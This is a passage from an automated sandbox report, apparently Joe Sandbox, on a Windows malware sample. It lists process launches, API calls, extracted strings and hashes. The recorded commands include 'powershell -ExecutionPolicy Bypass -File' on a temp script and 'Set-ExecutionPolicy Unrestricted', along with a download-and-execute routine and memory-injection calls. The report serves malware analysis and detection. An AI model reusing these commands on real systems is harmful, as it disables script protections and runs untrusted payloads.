Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:15:03
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:15:03
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Imagebase:	0x690000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 2664, Parent PID: 180

General

Target ID:	16
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x690000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 5444, Parent PID: 2664

General

Target ID:	20
Start time:	01:15:29
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x690000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	73.7%
Signature Coverage:	8.9%
Total number of Nodes:	1075
Total number of Limit Nodes:	28

Executed Functions

Function 00421DFC Relevance: 122.8, APIs: 8, Strings: 62, Instructions: 333
networkmemoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004221FC: LoadLibraryA.KERNEL32(?), ref: 004222E4

VirtualAlloc.KERNEL32(00000000,0001E000,00003000,00000040), ref: 00421E22
WSAStartup.WS2_32(00000202,?), ref: 00421E52
socket.WS2_32(00000002,00000001,00000000), ref: 00421E5E
VirtualProtect.KERNEL32(?,00000001,00000040,?), ref: 0042206B
WriteProcessMemory.KERNEL32(000000FF,?,?,00000064,?), ref: 00422081
connect.WS2_32(?,?,00000010), ref: 00422098
recv.WS2_32(?,?,00001000,00000000), ref: 004220BA
closesocket.WS2_32(?), ref: 004220F0

Strings

k, xrefs: 00421E9E
m, xrefs: 00421F59
y, xrefs: 00421ED9
e, xrefs: 00421F95
U, xrefs: 00421E97
r, xrefs: 00421ED1
y, xrefs: 00421F39
p, xrefs: 00421F65
o, xrefs: 00421F55
s, xrefs: 00421EBD
R, xrefs: 00421E90
e, xrefs: 00421F11
s, xrefs: 00421F69
t, xrefs: 00421F1D
s, xrefs: 00421F49
t, xrefs: 00421F09
., xrefs: 00421F4D
6, xrefs: 00421F7D
a, xrefs: 00421F2D
a, xrefs: 00421EF1
/, xrefs: 00421EC5
p, xrefs: 00421EF5
1, xrefs: 00421F25
., xrefs: 00421F81
h, xrefs: 00421F0D
w, xrefs: 00421F61
l, xrefs: 00421F31
:, xrefs: 00421EC1
c, xrefs: 00421F45
-, xrefs: 00421EF9
s, xrefs: 00421EE9
x, xrefs: 00421F91
o, xrefs: 00421EE1
t, xrefs: 00421EB5
u, xrefs: 00421F3D
5, xrefs: 00421F75
3, xrefs: 00421F85
p, xrefs: 00421EB9
., xrefs: 00421F89
., xrefs: 00421EDD
., xrefs: 00421F79
e, xrefs: 00421F8D
t, xrefs: 00421EB1
s, xrefs: 00421EFD
a, xrefs: 00421F15
c, xrefs: 00421F51
/, xrefs: 00421EC9
o, xrefs: 00421F01
i, xrefs: 00421F35
h, xrefs: 00421EAD
s, xrefs: 00421EE5
v, xrefs: 00421F6D
-, xrefs: 00421EED
x, xrefs: 00421ECD
/, xrefs: 00421F5D
-, xrefs: 00421F21
., xrefs: 00421F71
s, xrefs: 00421F19
p, xrefs: 00421ED5
n, xrefs: 00421F41
., xrefs: 00421F29
u, xrefs: 00421F05

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Virtual$AllocLibraryLoadMemoryProcessProtectStartupWriteclosesocketconnectrecvsocket
String ID: -$-$-$.$.$.$.$.$.$.$/$/$/$1$3$5$6$:$R$U$a$a$a$c$c$e$e$e$h$h$i$k$l$m$n$o$o$o$p$p$p$p$r$s$s$s$s$s$s$s$t$t$t$t$u$u$v$w$x$x$y$y
API String ID: 1908411163-4220177053
Opcode ID: 0a5c0964fa35a880765474ee3d056f93aba7d148df484ba7d181343147612299
Instruction ID: 6eba19237a2e4297c06948fbfb06263f303c5671ab06a48b70b181f2cbbdbc92
Opcode Fuzzy Hash: 0a5c0964fa35a880765474ee3d056f93aba7d148df484ba7d181343147612299
Instruction Fuzzy Hash: C081FD20D083D8DEEB21C7A8D84CBDDBFB55F12748F184199D1887B282C7FA1589CB66

Function 00CD0032 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00CD04AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 00CD04DE

Strings

Lo, xrefs: 00CD00FC
G, xrefs: 00CD0205
b, xrefs: 00CD0287
yA, xrefs: 00CD0125
Li, xrefs: 00CD010C
ucti, xrefs: 00CD01BE
a, xrefs: 00CD0103
otec, xrefs: 00CD017F
F, xrefs: 00CD018C
a, xrefs: 00CD011C
ushI, xrefs: 00CD019B
oc, xrefs: 00CD0154
st, xrefs: 00CD01AD
a, xrefs: 00CD013E
ee, xrefs: 00CD00F0
a, xrefs: 00CD016D
fo, xrefs: 00CD022C
A, xrefs: 00CD0244
Vi, xrefs: 00CD012C
Fu, xrefs: 00CD025A
tu, xrefs: 00CD0137
tu, xrefs: 00CD0166
S, xrefs: 00CD00E7
o, xrefs: 00CD01C9
ctio, xrefs: 00CD026B
Ta, xrefs: 00CD027D
Cach, xrefs: 00CD01FA
t, xrefs: 00CD0187
tNat, xrefs: 00CD020A
Via, xrefs: 00CD0312
b, xrefs: 00CD0113
Rt, xrefs: 00CD0233
A, xrefs: 00CD0147
P, xrefs: 00CD0176
mI, xrefs: 00CD0221
Syst, xrefs: 00CD0219
p, xrefs: 00CD00F7
iv, xrefs: 00CD0212

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 92b099bfd9c4fa2633575a8a1bdf175508938e56ea1e7b4a0c1b1bbc9fb17c3c
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 37626A315083858FD720CF28C840BABBBE5FF94704F24492EEAD99B351E7749A49CB56

Function 0040C9BC Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,0040CA7C,?,?), ref: 0040C9EE
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,0040CA7C,?,?), ref: 0040C9F7

Part of subcall function 0040C86C: FindFirstFileW.KERNEL32(00000000,?,00000000,0040C8CA,?,?), ref: 0040C89F
Part of subcall function 0040C86C: FindClose.KERNEL32(00000000,00000000,?,00000000,0040C8CA,?,?), ref: 0040C8AF

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: cba53f77fa6c43a58e77711aeefb5a73a992831c97479b4bd05ea56ffe174a68
Instruction ID: dd154ea817c974e97ef7d73b686066fe5e2276528df8cc7754812583d82bc4d2
Opcode Fuzzy Hash: cba53f77fa6c43a58e77711aeefb5a73a992831c97479b4bd05ea56ffe174a68
Instruction Fuzzy Hash: F8116370B00109DBDB00FBA6D982AAEB7B8EF45704F50457FA504B76D2DB385E058B59

Function 0040C86C Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040C8CA,?,?), ref: 0040C89F
FindClose.KERNEL32(00000000,00000000,?,00000000,0040C8CA,?,?), ref: 0040C8AF

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 902e23e6e2c558fabe42d0862c9577194d6b3774d660575b183d7f6ebdea202e
Instruction ID: a79f3244e1dae306cfdd43c11d9e05b1965ff1ec8325b00f92b99aced98e3e72
Opcode Fuzzy Hash: 902e23e6e2c558fabe42d0862c9577194d6b3774d660575b183d7f6ebdea202e
Instruction Fuzzy Hash: D8F0B472550608EED710FB79CD9298DBBECEB4431576005B6F400F32D2EA385F00551C

Function 0040E56C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 0040E570

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 899fa9c962831e78d20aa585cacba709b3b6a16b28d6df11c32fd39be051b51c
Instruction ID: 47ab257af6e364695ea890f9b43c82e37ccfc4e8ddd737aab863078b62403aa0
Opcode Fuzzy Hash: 899fa9c962831e78d20aa585cacba709b3b6a16b28d6df11c32fd39be051b51c
Instruction Fuzzy Hash: 0DA012108084001AC404BB194C4340F39C45941514FC40264745CB56C2E61A866403DB

Function 10005760 Relevance: 49.3, APIs: 20, Strings: 6, Instructions: 3822
sleepprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Smanip.LIBCPMTD ref: 10005DF2
_Smanip.LIBCPMTD ref: 1000A195

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,?,?,000000FF), ref: 1000A35B
_Smanip.LIBCPMTD ref: 1000A3C6
_Smanip.LIBCPMTD ref: 1000A4D7

Part of subcall function 10005520: DeleteFileA.KERNEL32(100108FE,?,100108FE,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1001092F,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 1000A5D3
_Smanip.LIBCPMTD ref: 1000A630
_Smanip.LIBCPMTD ref: 1000A764
Sleep.KERNEL32(000000C8,?,00000000), ref: 1000AB7C
_Smanip.LIBCPMTD ref: 1000ADA7
_Smanip.LIBCPMTD ref: 1000AE64
WinExec.KERNEL32(00000000,00000000), ref: 1000AF3E
Sleep.KERNEL32(000003E8,?,?,?,00000063,?,00000070,?,?,00000000), ref: 1000AF49
_Smanip.LIBCPMTD ref: 1000B046
_Smanip.LIBCPMTD ref: 1000B0E2
memset.VCRUNTIME140(?,00000000,00000038), ref: 1000B20A
ShellExecuteExA.SHELL32(?), ref: 1000B266
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1000B282
CloseHandle.KERNEL32(00000000), ref: 1000B28F
Sleep.KERNEL32(000003E8), ref: 1000B3A8

Strings

.NET Framework Action, xrefs: 1000579E
cmd.exe /C , xrefs: 1000AE5A, 1000AE5D
powershell -ExecutionPolicy Bypass -File , xrefs: 1000B039, 1000B03F
/C , xrefs: 1000B0D8, 1000B0DB
powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1000AD9A, 1000ADA0
\PolicyManagement.xml, xrefs: 1000A4CD, 1000A4D0

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Smanip$Sleep$FileHandle$?write@?$basic_ostream@AttributesBios_base@std@@CloseD@std@@@std@@DeleteExecExecuteObjectPathShellSingleTempU?$char_traits@V12@Waitmemset
String ID: .NET Framework Action$/C $\PolicyManagement.xml$cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 1867003993-3862442261
Opcode ID: e5c84668ff2e0361885bbcf03fb5359e18a06ac4a9dd02aafd23a928fb285933
Instruction ID: c3f484f0cadaf97ba32f422996ffd4aa446fbc6566911116cce282fd85213db7
Opcode Fuzzy Hash: e5c84668ff2e0361885bbcf03fb5359e18a06ac4a9dd02aafd23a928fb285933
Instruction Fuzzy Hash: 2FD36A50D0D6E8C9EB22C2288C587DDBEB55B22749F4441D9819C2A283C7BF1FD9CF66

Function 10002090 Relevance: 44.3, APIs: 19, Strings: 6, Instructions: 504
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(URLDownloader,00000001,00000000,00000000,00000000), ref: 100020D3
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 100020EF
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,1001844C,?,?,10017512,000000FF), ref: 10002101
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 10002136
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 10002153

Part of subcall function 10001D60: VariantInit.OLEAUT32(?), ref: 10001D6B

Part of subcall function 10001D80: VariantClear.OLEAUT32(10002776), ref: 10001D8B

Part of subcall function 10001A20: _com_issue_error.COMSUPP ref: 10001A92

InternetReadFile.WININET(?,?,00001000,?), ref: 1000216E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 10002197
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 10002230
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 10002240
InternetCloseHandle.WININET(?), ref: 1000224D
InternetCloseHandle.WININET(?), ref: 10002257
GetParent.USER32(?), ref: 10002261
ShowWindow.USER32(?,00000000,?,000000FF), ref: 10002270
WaitForSingleObject.KERNEL32(0000050C,00007530,?,000000FF), ref: 10002282
CoInitializeEx.OLE32(00000000,00000000,?,000000FF), ref: 1000228C
CoCreateInstance.OLE32(1001837C,00000000,00000001,1001836C,00000000), ref: 100022AE
Sleep.KERNEL32(000003E8), ref: 1000291A

Part of subcall function 10001E30: VariantInit.OLEAUT32(?), ref: 10001EAA

Sleep.KERNEL32(000003E8), ref: 1000287F

Part of subcall function 10001FA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10002928

Strings

.NET Framework Action, xrefs: 10002831
URLDownloader, xrefs: 100020CE
wpsv.5.6.3.exe, xrefs: 10002886
.NET Framework Action, xrefs: 100028CF
.NET Framework Action, xrefs: 1000284D
Pou, xrefs: 100022AE

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Internet$Variant$CloseCreateHandleInitMessageOpenSendSleep$ClearFileHttpInfoInitializeInstanceObjectParentQueryReadShowSingleSnapshotToolhelp32WaitWindow_com_issue_errorexitfclosefopenfwrite
String ID: .NET Framework Action$.NET Framework Action$.NET Framework Action$Pou$URLDownloader$wpsv.5.6.3.exe
API String ID: 2588663270-16662377
Opcode ID: a0ac462626c3a7957670ed2b0b3d2cc14aaf3fc45bf9131736584503c0dd6dd9
Instruction ID: 1a265d8126e776f6a60fe0a7d1a5fce7a7262b6fb56b0006430606afee9c3406
Opcode Fuzzy Hash: a0ac462626c3a7957670ed2b0b3d2cc14aaf3fc45bf9131736584503c0dd6dd9
Instruction Fuzzy Hash: 89427DB4E012289FDB64CF59C895BDDBBB5BF49300F1082DAE909A7355DB30AA85CF50

Function 1000A2B4 Relevance: 41.2, APIs: 18, Strings: 5, Instructions: 967
sleepprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,?,?,000000FF), ref: 1000A35B
_Smanip.LIBCPMTD ref: 1000A3C6

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

_Smanip.LIBCPMTD ref: 1000A4D7

Part of subcall function 10005520: DeleteFileA.KERNEL32(100108FE,?,100108FE,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1001092F,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 1000A5D3
_Smanip.LIBCPMTD ref: 1000A630
_Smanip.LIBCPMTD ref: 1000A764
Sleep.KERNEL32(000000C8,?,00000000), ref: 1000AB7C
_Smanip.LIBCPMTD ref: 1000ADA7
_Smanip.LIBCPMTD ref: 1000AE64
WinExec.KERNEL32(00000000,00000000), ref: 1000AF3E
Sleep.KERNEL32(000003E8,?,?,?,00000063,?,00000070,?,?,00000000), ref: 1000AF49
_Smanip.LIBCPMTD ref: 1000B046
_Smanip.LIBCPMTD ref: 1000B0E2
memset.VCRUNTIME140(?,00000000,00000038), ref: 1000B20A
ShellExecuteExA.SHELL32(?), ref: 1000B266
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1000B282
CloseHandle.KERNEL32(00000000), ref: 1000B28F
Sleep.KERNEL32(000003E8), ref: 1000B3A8

Strings

cmd.exe /C , xrefs: 1000AE5A, 1000AE5D
powershell -ExecutionPolicy Bypass -File , xrefs: 1000B039, 1000B03F
/C , xrefs: 1000B0D8, 1000B0DB
powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1000AD9A, 1000ADA0
\PolicyManagement.xml, xrefs: 1000A4CD, 1000A4D0

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Smanip$Sleep$FileHandle$?write@?$basic_ostream@AttributesBios_base@std@@CloseD@std@@@std@@DeleteExecExecuteObjectPathShellSingleTempU?$char_traits@V12@Waitmemset
String ID: /C $\PolicyManagement.xml$cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 1867003993-2154795836
Opcode ID: e68f2c6455a0b5301ba84bb44f9687bda6d9f088c6ff90b02e06671e58714ec3
Instruction ID: 5ee5c772d32b0c25501e7099b99da70bcf1678fc7b94072c772d4481403b0835
Opcode Fuzzy Hash: e68f2c6455a0b5301ba84bb44f9687bda6d9f088c6ff90b02e06671e58714ec3
Instruction Fuzzy Hash: 88B24C74C08298DEEB25CB68CC45BDEBBB5AF15304F0441D9E14D67292DBB52B88CF62

Function 0040C490 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040C6B5,?,?), ref: 0040C4C9
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5,?,?), ref: 0040C512
